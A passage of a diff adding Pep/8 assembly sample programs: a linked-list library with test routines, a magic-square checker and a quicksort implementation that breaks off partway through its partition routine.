+;   state of the registers during execution, they will need to be saved.
+;
+;   - When the number of arguments exceeds 2, the cdecl convention will be used:
+;   Arguments will be passed on the stack, no assumption is made concerning the
+;   state of the registers during execution, they will need to be saved.
+
+; Simple test program, do no include when using the library
+main:       SUBSP   4, i
+            DECI    mnelmt, s
+            CALL    newlst
+            LDX     mnlst, s
+            CALL    lstgetst
+            LDX     mnlst, s
+            CALL    lstsetst
+            LDX     mnlst, s
+            CALL    lstgetst
+            LDX     mnlst, s
+            CALL    shftest
+            LDX     mnlst, s
+            CALL    ushftest
+            LDX     mnlst, s
+            CALL    shftest
+            ADDSP   4, i
+            STOP
+; Pointer to the list
+mnlst:      .EQUATE 0
+; Element read
+mnelmt:     .EQUATE 2
+
+; TESTS
+
+; Simple test for the get operation
+; Gets the first element of the list and prints it
+;
+; REQUIRES: Non-empty list
+;
+; Parameters:
+;   - X: Pointer to the list
+;
+; Returns:
+;   void
+lstgetst:   SUBSP   2, i
+            LDA     0, i
+            CALL    lstget
+            STA     0, s
+            DECO    0, s
+            CHARO   '\n', i
+            ADDSP   2, i
+            RET0
+
+; Test for the set operation
+; Sets the first element of the list to a given value
+; The value is read from stdin
+;
+; REQUIRES: Non-empty list
+;
+; Parameters:
+;   - X: Pointer to the list
+;
+; Returns:
+;   void
+lstsetst:   SUBSP   6, i
+            STX     0, s
+            DECI    4, s
+            LDA     0, i
+            STA     2, s
+            CALL    lstset
+            ADDSP   6, i
+            RET0
+
+; Tests shift operation on a list
+; Gets the last element of the list and prints it
+;
+; REQUIRES: Non-empty list
+;
+; Parameters:
+;   - X: Pointer to the list
+;
+; Returns:
+;   void
+shftest:    SUBSP   2, i
+            CALL    lstshft
+            STA     0, s
+            DECO    0, s
+            CHARO   '\n', i
+            ADDSP   2, i
+            RET0
+
+; Tests unshift operation on a list
+; Unshifts a new element read from keyboard
+;
+; Parameters:
+;   - X: Pointer to the list
+;
+; Returns:
+;   void
+ushftest:   SUBSP   2, i
+            DECI    0, s
+            LDA     0, s
+            CALL    lstunshf
+            ADDSP   2, i
+            RET0
+
+; LIBRARY
+
+; Creates a new list with `element` as head
+;
+; Parameters:
+;   SP + 4: Element
+;
+; Returns:
+;   SP + 2: Pointer to the list
+newlst:     LDA     lstlen, i
+            CALL    new
+            STX     2, s
+            CALL    newnode
+            SUBSP   2, i
+            STX     0, s
+            LDX     nodeelmt, i
+            LDA     6, s
+            STA     0, sxf
+            LDA     0, s
+            LDX     lsthead, i
+            STA     4, sxf
+            ADDSP   2, i
+            RET0
+
+; Gets a node at specified index in a list
+;
+; Parameters:
+;   - A: Index
+;   - X: Pointer to the list
+;
+; Returns:
+;   - A: Error code (0 if no error was produced)
+;   - X: Pointer to the node
+;
+; Errors:
+;   -1: Index < 0
+;   -2: Index >= list.length
+nodeat:     SUBSP   10, i
+            STA     ndaind, s
+            STX     ndalst, s
+            LDX     lsthead, i
+            LDA     ndalst, sxf
+            STA     ndanode, s
+            LDA     ndaind, s
+            CPA     0, i
+            LDA     0, i
+            STA     ndacurri, s
+            BRGE    ndagez
+            LDA     -1, i
+            ADDSP   10, i
+            RET0
+ndagez:     LDX     ndalst, s
+            CALL    listlen
+            STA     ndalstln, s
+            LDA     ndaind, s
+            CPA     ndalstln, s
+            BRLT    ndalp
+            LDA     -2, i
+            ADDSP   10, i
+            RET0
+ndalp:      LDA     ndacurri, s
+            CPA     ndaind, s
+            BREQ    ndaout
+            LDX     nodenxt, i
+            LDA     ndanode, sxf
+            STA     ndanode, s
+            LDA     ndacurri, s
+            ADDA    1, i
+            STA     ndacurri, s
+            BR      ndalp
+ndaout:     LDX     ndanode, s
+            LDA     0, i
+            ADDSP   10, i
+            RET0
+ndaind:     .EQUATE 0
+ndanode:    .EQUATE 2
+ndalst:     .EQUATE 4
+ndalstln:   .EQUATE 6
+ndacurri:   .EQUATE 8
+
+; Length of the list passed as a parameter
+;
+; Parameters:
+;   - X: List
+;
+; Returns:
+;   - A: Length
+listlen:    SUBSP   4, i
+            STX     lenode, s
+            LDX     lenode, sf
+            STX     lenode, s
+            LDA     0, i
+            STA     lencpt, s
+llenlp:     LDA     lenode, s
+            CPA     0, i
+            BREQ    lenout
+            LDA     lencpt, s
+            ADDA    1, i
+            STA     lencpt, s
+            LDX     nodenxt, i
+            LDA     lenode, sxf
+            STA     lenode, s
+            BR      llenlp
+lenout:     LDA     lencpt, s
+            ADDSP   4, i
+            RET0
+lenode:     .EQUATE 0
+lencpt:     .EQUATE 2
+
+; Gets an element in a list at a specified index
+;
+; Parameters:
+;   - A: Index
+;   - X: Address of the list
+;
+; Returns:
+;   - A: Element value
+;
+; Error:
+;   If out of bounds, prints an error message and stops the program
+lstget:     SUBSP   2, i
+            STA     0, s
+            CALL    nodeat
+            CPA     0, i
+            BRNE    getoob
+            LDA     0, x
+            ADDSP   2, i
+            RET0
+; Out of bounds
+getoob:     STRO    getstrob, d
+            DECO    0, s
+            CHARO   '\n', i
+            STOP
+; String for out of bounds error
+getstrob:   .ASCII  "Invalid index on get, index = \x00"
+
+; Sets an element in a list at a specified index to a new value
+;
+; Parameters:
+;   - SP + 2: Pointer to the list
+;   - SP + 4: Index
+;   - SP + 6: Element
+;
+; Returns:
+;   - A: 0 if all went well, an error code otherwise (analogous to the error codes in nodeat)
+lstset:     CHARO   '\n', i
+            DECO    lstsetlp, s
+            CHARO   ' ', i
+            DECO    lstsetin, s
+            CHARO   ' ', i
+            DECO    lstsetel, s
+            CHARO   '\n', i
+            SUBSP   2, i
+            LDX     lstsetlp, s
+            LDA     lstsetin, s
+            CALL    nodeat
+            CPA     0, i
+            BRNE    lstsetrt
+            STX     lstsetnp, s
+            LDA     lstsetel, s
+            LDX     nodeelmt, i
+            STA     lstsetnp, sxf
+            LDA     0, i
+lstsetrt:   ADDSP   2, i
+            RET0
+; Pointer to the list
+lstsetlp:   .EQUATE 4
+; Element to set the value at
+lstsetel:   .EQUATE 8
+; Index of the node
+lstsetin:   .EQUATE 6
+; Pointer to the node
+lstsetnp:   .EQUATE 0
+
+; Removes the first element of the list in parameter and returns its value
+;
+; REQUIRES: Non-empty list
+;
+; Parameters:
+;   ⁻ X: Pointer to the list
+;
+; Returns :
+;   - A: Element removed
+lstshft:    SUBSP   8, i
+            STX     lshflp, s
+            LDX     lsthead, i
+            LDA     lshflp, sxf
+            CPA     0, i
+            BREQ    shfterr
+            STA     lshfohd, s
+            LDX     nodenxt, i
+            LDA     lshfohd, sxf
+            STA     lshfnhd, s
+            LDX     lsthead, i
+            STA     lshflp, sxf
+            LDX     nodeelmt, i
+            LDA     lshfohd, sxf
+            ADDSP   8, i
+            RET0
+shfterr:    STRO    shfterrm, d
+            STOP
+; Pointer to the list
+lshflp:     .EQUATE 0
+; Pointer to the old head
+lshfohd:    .EQUATE 2
+; Old head's element
+lshfhdel:   .EQUATE 4
+; Pointer to the new head
+lshfnhd:    .EQUATE 6
+; Error message on shift
+shfterrm:   .ASCII "Cannot do shift on empty list.\n\x00"
+
+; Inserts a new element at the beginning of a list
+;
+; Parameters:
+;   - X: Pointer to the list
+;   - A: Element to add to the list
+;
+; Returns:
+;   - A: Error code, 0 if all right, a code otherwise
+lstunshf:   SUBSP   8, i
+            STA     lunshelm, s
+            STX     lunslp, s
+            CALL    newnode
+            STX     lunsnhd, s
+            LDX     lsthead, i
+            LDA     lunslp, sxf
+            STA     lunsohd, s
+            LDX     nodenxt, i
+            LDA     lunsohd, s
+            STA     lunsnhd, sxf
+            LDA     lunshelm, s
+            LDX     nodeelmt, i
+            STA     lunsohd, sxf
+            LDX     lsthead, i
+            LDA     lunsnhd, s
+            STA     lunslp, sxf
+            ADDSP   8, i
+            RET0
+; Pointer to the list
+lunslp:     .EQUATE 0
+; Pointer to the old head
+lunsohd:    .EQUATE 2
+; Pointer to the new head
+lunsnhd:    .EQUATE 4
+; Element to add
+lunshelm:   .EQUATE 6
+
+; Finds whether or not an element is present in a list
+;
+; Parameters:
+;   - X: Pointer to the list
+;   - A: Element to be found
+;
+; Returns:
+;   - A: 0 if element was not found, 1 if it was
+lstfnd:     SUBSP   6, i
+            STX     lstfndlp, s
+            STA     lstfndel, s
+            LDX     lsthead, i
+            LDA     lstfndlp, sxf
+            STA     lstfndnd, s
+fndloop:    CPA     0, i
+            BREQ    notfnd
+            LDX     nodeelmt, i
+            LDA     lstfndnd, sxf
+            CPA     lstfndel, s
+            BREQ    found
+            LDX     nodenxt, i
+            LDA     lstfndnd, sxf
+            STA     lstfndnd, s
+            BR      fndloop
+notfnd:     LDA     0, i
+            ADDSP   6, i
+            RET0
+found:      LDA     1, i
+            ADDSP   6, i
+            RET0
+; Pointer to the list
+lstfndlp:   .EQUATE 0
+; Element to search
+lstfndel:   .EQUATE 2
+; Current node
+lstfndnd:   .EQUATE 4
+
+; Pushes a new element at the end of the list
+;
+; Parameters:
+;   - X: Pointer to the list
+;   - A: Element to push
+;
+; Returns:
+;   - A: 0 if all went well, an error code otherwise
+lstpsh:     SUBSP   8, i
+            STX     lpshlp, s
+            STA     lpshel, s
+            CALL    newnode
+            STX     lpshnd, s
+            LDX     lpshlp, s
+            CALL    listlen
+            CPA     0, i
+            BREQ    lpshshft
+            SUBA    1, i
+            LDX     lpshlp, s
+            CALL    nodeat
+            STX     lpshlnd, s
+            LDX     nodenxt, i
+            LDA     lpshnd, s
+            STA     lpshlnd, sxf
+            LDA     lpshel, s
+            LDX     nodeelmt, i
+            STA     lpshnd, sxf
+            ADDSP   8, i
+            RET0
+lpshshft:   LDX     lpshlp, s
+            LDA     lpshel, s
+            CALL    lstunshf
+            ADDSP   8, i
+            RET0
+; Pointer to the list     
+lpshlp:     .EQUATE 0
+; Element to add to the list
+lpshel:     .EQUATE 2
+; Node to add to the list
+lpshnd:     .EQUATE 4
+; Node to append
+lpshlnd:    .EQUATE 6
+
+; Pops the last element of a list
+;
+; Parameters:
+;   - X: Pointer to the list
+;
+; Returns:
+;   - A: Element removed from the list
+lstpop:     SUBSP   6, i
+            STX     lpoplp, s
+            CALL    listlen
+            CPA     0, i
+            BRNE    poperrem
+            CPA     1, i
+            BREQ    popshft
+            SUBA    2, i
+            LDX     lpoplp, s
+            CALL    nodeat
+            STX     lpopndpr, s
+            LDX     nodenxt, i
+            LDA     lpopndpr, sxf
+            LDA     0, i
+            LDX     nodenxt, i
+            STA     lpopndpr, sxf
+            STA     lpoplnd, s
+            LDX     nodeelmt, i
+            LDA     lpoplnd, s
+            ADDSP   6, i
+            RET0
+poperrem:   STRO    poperrsm, d
+            STOP
+popshft:    LDX     lpoplp, s
+            CALL    lstshft
+            ADDSP   6, i
+            RET0
+; Pointer to the list
+lpoplp:     .EQUATE 0
+; Node to remove
+lpoplnd:    .EQUATE 2
+;New last node
+lpopndpr:   .EQUATE 4
+; Message to print when popping an empty list
+poperrsm:    .ASCII "Error: cannot pop an empty list.\n\x00"
+
+; Inserts an element in a list at a given position
+;
+; REQUIRES: Non-empty list
+;
+; Parameters:
+;   - SP + 2: Pointer to the list
+;   - SP + 4: Index to insert at
+;   - SP + 6: Element to add
+;
+; Returns:
+;   - A: Error code: 0 if all went well, -1 if index < 0, -2 if index > list.length
+lstinsat:   SUBSP   6, i
+            LDA     lstinsid, s
+            CPA     0, i
+            BRLT    lstinslz
+            BREQ    lstinush
+            LDX     lstinslp, s
+            CALL    listlen
+            CPA     lstinsel, s
+            BRLT    lstinsgl
+            BREQ    lstinpsh
+            LDX     lstinslp, s
+            LDA     lstinsel, s
+            SUBA    1, i
+            CALL    nodeat
+            STX     lstinsnd, s
+            LDX     nodenxt, i
+            LDA     lstinsnd, sxf
+            STA     lstinscx, s
+            CALL    newnode
+            STX     lstinscn, s
+            LDX     nodeelmt, i
+            LDA     lstinsel, s
+            STA     lstinscn, sxf
+            LDX     nodenxt, i
+            LDA     lstinscx, s
+            STA     lstinscn, sxf
+            LDA     lstinscn, s
+            LDX     nodenxt, i
+            STA     lstinsnd, sxf
+            ADDSP   6, i
+            RET0
+lstinush:   LDX     lstinslp, s
+            LDA     lstinsel, s
+            CALL    lstunshf
+            ADDSP   6, i
+            RET0
+lstinpsh:   LDX     lstinslp, s
+            LDA     lstinsel, s
+            CALL    lstpsh
+            ADDSP   6, i
+            RET0
+; Insert with index < 0
+lstinslz:   LDA     -1, i
+            ADDSP   6, i
+            RET0
+; Insert with index > list.length
+lstinsgl:   LDA     -2, i
+            ADDSP   6, i
+            RET0
+; List pointer
+lstinslp:   .EQUATE 8
+; Index of the newly created node
+lstinsid:   .EQUATE 10
+; Element to add
+lstinsel:   .EQUATE 12
+; Node to change the pointer to the next
+lstinsnd:   .EQUATE 0
+; Node to insert
+lstinscn:   .EQUATE 2
+; Pointer to the node after the created one (might be null)
+lstinscx:   .EQUATE 4
+
+; Removes a node at a given index in a list,
+; returns the element previously contained
+;
+; Parameters:
+;   - X: Pointer to the list
+;   - A: Index of the element
+;
+; Returns:
+;   - A: Element removed
+;
+; Error:
+;   In case of error, the program aborts with an error message
+lstremat:   SUBSP   8, i
+            STX     lremlp, s
+            STA     lremid, s
+            CPA     0, i
+            BRLT    lstremob
+            BREQ    lstremz
+            CALL    listlen
+            CPA     lremid, s
+            BRGE    lstremob
+            SUBA    1, i
+            CPA     lremid, s
+            BREQ    lrempop
+            LDA     lremid, s
+            LDX     lremlp, s
+            CALL    nodeat
+            STX     lremnd, s
+            LDA     lremid, s
+            SUBA    1, i
+            LDX     lremlp, s
+            CALL    nodeat
+            STX     lrempnd, s
+            LDX     nodenxt, i
+            LDA     lremnd, sxf
+            STA     lrempnd, sxf
+            LDX     nodeelmt, i
+            LDA     lremnd, sxf
+            ADDSP   8, i
+            RET0
+lstremz:    LDX     lremlp, s
+            CALL    lstshft
+            ADDSP   8, i
+            RET0
+lrempop:    LDX     lremlp, s
+            CALL    lstpop
+            ADDSP   8, i
+            RET0
+lstremob:   STRO    lremobst, d
+            DECO    lremid, s
+            CHARO   '\n', i
+            STOP
+; Pointer to the list
+lremlp:     .EQUATE 0
+; Index to remove an element at
+lremid:     .EQUATE 2
+; Pointer to the node before the removed element
+lrempnd:    .EQUATE 4
+; Pointer to the node to remove
+lremnd:     .EQUATE 6
+; Error out of bounds string for remove_at
+lremobst:   .ASCII "Error: Out of bounds in remove_at, index = \x00"
+
+; Creates a new node from scratch
+; Sets its content to 0/NULL
+;
+; Parameters:
+;   void
+;
+; Return:
+;   - X: Address of the node
+newnode:    LDA     nodeln, i
+            SUBSP   2, i
+            CALL    new
+            STX     0, s
+            LDA     0, i
+            LDX     nodenxt, i
+            STA     0, sxf
+            LDX     nodeelmt, i
+            STA     0, sxf
+            LDX     0, s
+            ADDSP   2, i
+            RET0
+
+; Allocates a new structure in the heap
+;
+; Parameters:
+;   - A: Length of the structure to allocate (bytes)
+;
+; Returns:
+;   - X: Address of the allocated structure
+new:        ADDA    hpptr, d
+            LDX     hpptr, d
+            STA     hpptr, d
+            RET0
+
+; Node in a linked list
+;
+; Contains two fields:
+;   - Element: Offset 0
+;   - Next: Offset 2
+;
+nodeln:     .EQUATE 4
+nodeelmt:   .EQUATE 0
+nodenxt:    .EQUATE 2
+
+; Linked list capsule
+;
+; Contains one field:
+;   - Head: Offset 0
+;
+lstlen:     .EQUATE 2
+lsthead:    .EQUATE 0
+
+; Pointer to the next available byte on the heap
+hpptr:      .ADDRSS heap
+; Start of the heap
+heap:       .BLOCK 1
+    .END
diff --git a/samples/Pep8/msq.pep b/samples/Pep8/msq.pep
new file mode 100644
index 0000000000..0bf7b93d5a
--- /dev/null
+++ b/samples/Pep8/msq.pep
@@ -0,0 +1,434 @@
+; Reads a square from stdin, then computes whether it is a magic square or not.
+;
+; A Magic Square is a square following a specific set of rules, namely:
+; - The sum of each row must be the same as the sum of the diagonal
+; - The sum of the anti-diagonal must be the same as the sum of the diagonal
+; - The sum of each column must be the same as the sum of the diagonal
+;
+; If any column, row, or anti-diagonal does not follow the aformented rules,
+; the program will output its number to stdout.
+;
+; Columns are identified by a negative digit, ranging from -1 to -n
+; The anti-diagonal is identified by the number 0.
+; Finally, rows are identified by a positive integer, ranging from 1 to n.
+;
+; Formatting:
+; First a number `n` is read from Stdin, it will determine the size of the square
+; Then, enter the data for the square, `n` entries will be read
+; The data is sequentially added to the square in memory, from the upper-left corner
+; to the lower-right corner, in a zig-zag pattern
+;
+; Example:
+; 3
+; 4   9   3
+; 3   5   7
+; 8   1   6
+;
+; Limitation: Since there is no dynamic allocation, the size
+; of the square is capped at a maximum of 32*32.
+; Any size lower than 1 or higher than 32 will produce
+; an error and the termination of the program.
+
+;_start
+		DECI	sidelen, d
+		LDA	sidelen, d
+		CPA	1, i
+		BRLT	sderror
+		CPA	32, i
+		BRGT	sderror
+		LDX	sidelen, d
+		CALL	mult
+		STA	sqlen, d
+		CALL	fillsq
+		LDA	sidelen, d
+		LDX	square, i
+		CALL	diagsum
+		STA	dgsm, d
+		CALL	colsums
+		LDA	sidelen, d
+		LDX	square, i
+		CALL	cdiagsum
+		CPA	dgsm, d
+		BREQ	cnt
+		DECO	0, i
+		CHARO	'\n', i
+cnt:		STA	cdsm, d
+		CALL	rowsums
+		STOP
+el:		.BLOCK 2
+; Length of a side of the square
+sidelen:	.WORD 0
+; Total length  of the square
+sqlen:		.BLOCK 2
+; 32 * 32 square of integers
+square: 	.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 255
+		.BLOCK 8
+
+; Prints an error and terminates the program
+sderror:	STRO stderr, d
+		STOP
+
+; Parameters:	A: Size of a side of the square
+;		X: Base address of the square
+;		cscolid: Identifier of the column (0-based)
+
+; Computes the sum of each column
+; If the sum is not the same as dgsm, its index will be printed (in negative form)
+;
+; Parameters:	A: Size of a side of the square
+;		X: Address of the square
+;
+; Return:	void
+colsums:STA	clsmsqsz, d
+		STX	clsmsqad, d
+		SUBA	1, i
+		STA	clsmyp, d
+clssmlp:CPA	0 ,i
+		BRLT	clsmout
+		STA	cscolid, d
+		LDA	clsmsqsz, d
+		LDX	clsmsqsz, d
+		CALL	colsum
+		CPA	dgsm, d
+		BREQ	clsdecpt
+		LDX	clsmyp, d
+		NEGX
+		STX	clsmyp, d
+		DECO	clsmyp, d
+		CHARO	'\n', i
+		LDX	clsmyp, d
+		NEGX
+		STX	clsmyp, d
+clsdecpt:	LDA	clsmyp, d
+		SUBA	1, i
+		STA	clsmyp, d
+		BR	clssmlp
+clsmout:	RET0
+clsmsqad:	.BLOCK 2
+clsmsqsz:	.BLOCK 2
+clsmyp_:		.BLOCK 2
+
+; Compute the sum of each row
+; Prints its index if the value does not match dgsum
+;
+; Parameters:	A: Size of a side of the square
+;		X: Address of the square
+;
+; Returns:	void
+rowsums:	STA	maxrows, d
+		STX	rowssqad, d
+		LDA	0, i
+		STA	tmprwsm, d
+		STA	rowid, d
+rwsmslp:	CPA	maxrows, d
+		BRGE	rwsmsout
+		STA	rwxpos, d
+		LDA	maxrows, d
+		LDX	rowssqad, d
+		CALL	rowsum
+		CPA	dgsm, d
+		STA	tmprwsm, d
+		BREQ	rwinccpt
+		DECO	rowid, d
+		CHARO	'\n', i
+rwinccpt:	LDA	rowid, d
+		ADDA	1, i
+		STA	rowid, d
+		BR	rwsmslp
+rwsmsout:	RET0
+; Number of rows to compute
+maxrows:	.BLOCK 2
+; Square address
+rowssqad:	.BLOCK 2
+; Current rowid
+rowid:		.BLOCK 2
+; Current rowsum
+tmprwsm:	.BLOCK 2
+
+; Gets an element at the indexes given as parameter
+; The square is supposed to contain only integers
+; No check will be made on the correctness of the indexes
+;
+; Parameters:	A: Size of a side of the square (in elements)
+;		X: Base address of the square
+;		xpos: Position in X for the element (0-indexed)
+;		ypos: Position in Y for the element (0-indexed)
+;
+; Return:	A will contain the element
+;
+; Side-effects: Registers A and X will neither be saved nor restored upon call
+;		ypos will be altered
+elemat:		STX	elsqaddr, d
+		ASLA
+		LDX	xpos, d
+		CALL	mult
+		STA	xpos, d
+		LDX	ypos, d
+		ASLX
+		STX	ypos, d
+		ADDA	ypos, d
+		ADDA	elsqaddr, d
+		STA	elsqaddr, d
+		LDX	elsqaddr, d
+		LDA	0, x
+		RET0
+; X-index in square (in elements)
+xpos:		.BLOCK 2
+; Y-index in square (in elements)
+ypos:		.BLOCK 2
+; Address to fetch elements at
+elsqaddr:	.BLOCK 2
+
+; Fills the square with input from the user
+;
+; Pass via register A the number of inputs to be read
+fillsq:		LDX	0, i
+filloop:	SUBA	1, i
+		CPA	0, i
+		BRLT	fillout
+		DECI	square, x
+		ADDX	2, i
+		BR	filloop
+fillout:	RET0
+
+; Computes the sum of the digits of a column
+; The square is supposed to contain integers only
+;
+; Parameters:	A: Size of a side of the square
+;		X: Base address of the square
+;		cscolid: Identifier of the column (0-based)
+;
+; Return:	A: Sum of the digits of the column
+colsum:		STA	csclsqsz, d
+		STX	csclsqad, d
+		LDA	0, i
+		STA	csclsum, d
+		STA	csclxpos, d
+clsmloop:	CPA	csclsqsz, d
+		BRGE	colout
+		LDA	cscolid, d
+		STA	ypos, d
+		LDA	csclxpos, d
+		STA	xpos, d
+		LDA	csclsqsz, d
+		LDX	csclsqad, d
+		CALL	elemat
+		ADDA	csclsum, d
+		STA	csclsum, d
+		LDA	csclxpos, d
+		ADDA	1, i
+		STA	csclxpos, d
+		BR	clsmloop
+colout:		LDA	csclsum, d
+		RET0
+; Identifier of the column which sum is to be computed
+cscolid:	.BLOCK 2
+; Temporary for x position
+csclxpos:	.BLOCK 2
+; Base address of the square
+csclsqad:	.BLOCK 2
+; Size of a side of the square
+csclsqsz:	.BLOCK 2
+; Sum of the column
+csclsum:	.BLOCK 2
+
+; Computes the sum of the digits of a row
+; The square is supposed to contain integers only
+;
+; Parameters:	A: Size of a side of the square
+;		X: Base address of the square
+;		rwxpos: Row index (0-based)
+;
+; Returns:	A: Sum of the digits of the row
+rowsum:		STA	rwsqsz, d
+		STX	rwbsqadr, d
+		LDA	0,i
+		STA	rwsum, d
+		STA	rwypos, d
+rwsumlp:	LDA	rwypos, d
+		CPA	rwsqsz, d
+		BRGE	rwsumout
+		STA	ypos, d
+		LDA	rwxpos, d
+		STA	xpos, d
+		LDA	rwsqsz, d
+		LDX	rwbsqadr, d
+		CALL	elemat
+		ADDA	rwsum, d
+		STA	rwsum, d
+		LDA	rwypos, d
+		ADDA	1, i
+		STA	rwypos, d
+		BR	rwsumlp
+rwsumout:	LDA	rwsum, d
+		RET0
+; Square size (in elements)
+rwsqsz:		.BLOCK 2
+; Square base address
+rwbsqadr:	.BLOCK 2
+; Position of the row to compute
+rwxpos:		.BLOCK 2
+; Current column visited
+rwypos:		.BLOCK 2
+; Sum of the row
+rwsum:		.BLOCK 2
+
+; Computes the sum for the antidiagonal of a square
+; The square is supposed to contain integers only
+;
+; Parameters:	A: Size of a side of the square (elements)
+;		X: Base address of the square
+;
+; Returns:	A: Sum of the antidiagonal
+cdiagsum:	STA	cdsqsz, d
+		SUBA	1,i
+		STA	cdtmpy, d
+		LDA	0, i
+		STA	cdtmpx, d
+		STA	cdsum, d
+		STX	cdsqaddr, d
+cdiaglp:	LDA	cdtmpx, d
+		STA	xpos, d
+		LDA	cdtmpy, d
+		STA	ypos, d
+		CPA	0, i
+		BRLT	cdout
+		LDA	cdsqsz, d
+		LDX	cdsqaddr, d
+		CALL	elemat
+		ADDA	cdsum, d
+		STA	cdsum,d
+		LDA	cdtmpx, d
+		ADDA	1, i
+		STA	cdtmpx, d
+		LDA	cdtmpy, d
+		SUBA	1, i
+		STA	cdtmpy, d
+		BR	cdiaglp
+cdout:		LDA	cdsum, d
+		RET0
+; Temporary handle for square size (elements)
+cdsqsz:		.BLOCK 2
+; Square address
+cdsqaddr:	.BLOCK 2
+; Keep x address
+cdtmpx:		.BLOCK 2
+; Keep y address
+cdtmpy:		.BLOCK 2
+; Sum of antidiagonal
+cdsum:		.BLOCK 2
+
+; Computes the sum for the diagonal of a square
+; The square is supposed to contain integers only
+;
+; Parameters:	A: Size of a side of the square (elements)
+;		X: Base address of the square
+;
+; Returns:	A: Sum of the diagonal
+;
+diagsum:	STA	dsqsz, d
+		STX	dsqaddr, d
+		LDA 	0, i
+		STA	tmpsum, d
+		STA	curra, d
+dglp:		CPA	dsqsz, d
+		BRGE	dglpout
+		STA	xpos, d
+		STA	ypos, d
+		LDA	dsqsz, d
+		LDX	dsqaddr, d
+		CALL	elemat
+		ADDA	tmpsum, d
+		STA	tmpsum, d
+		LDA	curra, d
+		ADDA	1, i
+		STA	curra, d
+		BR	dglp
+dglpout:	LDA	tmpsum, d
+		RET0
+; Address of the square
+dsqaddr:	.BLOCK 2
+; Size of a side of the square (elements)
+dsqsz:		.BLOCK 2
+; Current value of the x and y indexes
+curra:		.BLOCK 2
+; Sum of the values
+tmpsum:		.BLOCK 2
+
+; Muliplies two ints
+;
+; Parameters:
+; Register A : Left part of the multiplication
+; Register X : Right part of the multiplication
+;
+; Return:
+; Register A : Result of the multiplication
+;
+; Side-effects:
+; Uses multmp as a temporary value
+mult:		STA	multmp, d
+		LDA	0, i
+muloop:		CPX	0, i
+		BRLE	mulout
+		ADDA	multmp, d
+		SUBX 	1, i
+		BR	muloop
+mulout:		RET0
+; Temporary variable for mult function
+; Holds the initial value of A
+multmp:		.WORD 0
+
+; For debugging purposes
+; Prints the content of the square to stdout
+;
+; Parameters: 	A: Size of a side
+;		X: Base address of square
+;
+; Side-effects:
+;		Consider variables sidesz, sqaddr, sqmaxa as local, they will be written
+;		Registers A and X will not be saved nor restored upon call
+printsq:	STA	sidesz, d
+		STX	sqaddr, d
+		LDX	sidesz, d
+		CALL	mult
+		ASLA
+		ADDA	sqaddr, d
+		STA	sqmaxa, d
+		LDX	sqaddr, d
+		LDA	0, i
+priloop:	DECO	0, x
+		CHARO	' ', i
+		ADDX	2, i
+		CPX	sqmaxa, d
+		BREQ	priout
+		ADDA	1, i
+		CPA	sidesz, d
+		BRLT	priloop
+		LDA 	0, i
+		CHARO	'\n', i
+		BR	priloop
+priout:		RET0
+; Size of a side of the square
+sidesz: 	.BLOCK 2
+; Address of the square
+sqaddr: 	.BLOCK 2
+; Maximum address to iterate upon
+sqmaxa: 	.BLOCK 2
+
+; ------------------ GLOBALLY ACCESSIBLE SYMBOLS -------------------- ;
+;
+; Sum of the diagonal for the square
+; Reference value for magic-square
+dgsm:		.WORD 0
+; Sum of the counter-diagonal
+cdsm:		.WORD 0
+; Input error string
+stderr:		.ASCII "A number between 1 and 32 (both inclusive) must be entered as value for the size of the square for the program to work.\n\x00"
+		.END
diff --git a/samples/Pep8/qsort.pep b/samples/Pep8/qsort.pep
new file mode 100644
index 0000000000..ff7d5c7157
--- /dev/null
+++ b/samples/Pep8/qsort.pep
@@ -0,0 +1,227 @@
+; Sorts a statically defined array using the recursive implementation
+; of the quicksort algorithm.
+;
+; In this implementation, the pivot is supposed to be the rightmost
+; value of the slice of the array being sorted.
+;
+; Note that the code presented below should work on any array,
+; whether defined statically or dynamically.
+;
+; Calling conventions:
+;	Except when mentionned otherwise, every parameter is to be passed on the stack.
+;	The return values are also on the stack.
+;	No assumption is to be made on the content of a register on a function call.
+;	The values of the registers are to be locally saved for further use if necessary.
+main:		SUBSP	4, i
+		LDA	11, i
+		ASLA
+		STA	2, s
+		LDA	arr, i
+		STA	0, s
+		CALL	printarr
+		SUBSP	2, i
+		LDA	arr, i
+		STA	0, s
+		LDA	0, i
+		STA	2, s
+		LDA	10, i
+		STA	4, s
+		CALL	qsort
+		ADDSP	2, i
+		CHARO	'\n', i
+		LDA	11, i
+		ASLA
+		STA	2, s
+		LDA	arr, i
+		STA	0, s
+		CALL	printarr
+		STOP
+
+; Sorts an array using the quicksort algorithm
+;
+; Parameters:
+;	- SP + 2: Address of the array
+;	- SP + 4: Left bound
+;	- SP + 6: Right bound
+; Returns:
+;	void
+qsort:		SUBSP	2, i
+		LDA	qsarrlb, s
+		CPA	qsarrrb, s
+		BRGE	qsortout
+		SUBSP	6, i
+		LDA	10, s
+		STA	0, s
+		LDA	12, s
+		STA	2, s
+		LDA	14, s
+		STA	4, s
+		CALL	part
+		LDA	10, s
+		STA	0, s
+		LDA	12, s
+		STA	2, s
+		LDA	6, s
+		SUBA	1, i
+		STA	4, s
+		CALL	qsort
+		LDA	10, s
+		STA	0, s
+		LDA	6, s
+		ADDA	1, i
+		STA	2, s
+		LDA	14, s
+		STA	4, s
+		CALL	qsort
+		ADDSP	6, i
+qsortout:	ADDSP	2, i
+		RET0
+; Address of the array
+qsarradd:	.EQUATE 4
+; Left bound
+qsarrlb:	.EQUATE 6
+; Right bound
+qsarrrb:	.EQUATE 8
+; Pivot value returned by the part command
+qsortp:		.EQUATE 0
+
+; Partitions an array in two following the quicksort rules.
+;
+; All the lower values compared to the pivot will be on the left
+; All the upper values compared to the pivot will be on the right
+; The pivot's final index is then returned
+;
+; Parameters:
+;	- SP + 2: Address of the array
+;	- SP + 4: Left bound
+;	- SP + 6: Right bound
+;
+; Returns:
+;	- SP + 8: Pivot final index
+part:		SUBSP	8, i
+		LDA	parrrb, s
+		STA	partpiv, s
+		LDA	parrlb, s
+		STA	pstind, s
+		STA	piter, s
+partflp:	CPA	parrrb, s
+		BRGE	partout
+		LDX	piter, s
+		ASLX
+		LDA	paraddr, sxf
+		STA	parrival, s
+		LDX	partpiv, s
+		ASLX
+		LDA	paraddr, sxf
+		CPA	parrival, s
+		BRLT	parlpinc
+		SUBSP	6, i ; Call swap(arr, i, st_index)
+		LDA	16, s
+		STA	0, s
+		LDA	8, s
+		STA	2, s
+		LDA	10, s
+		STA	4, s
+		CALL	swap
+		ADDSP	6, i
+		LDA	pstind, s
+		ADDA	1, i
+		STA	pstind, s
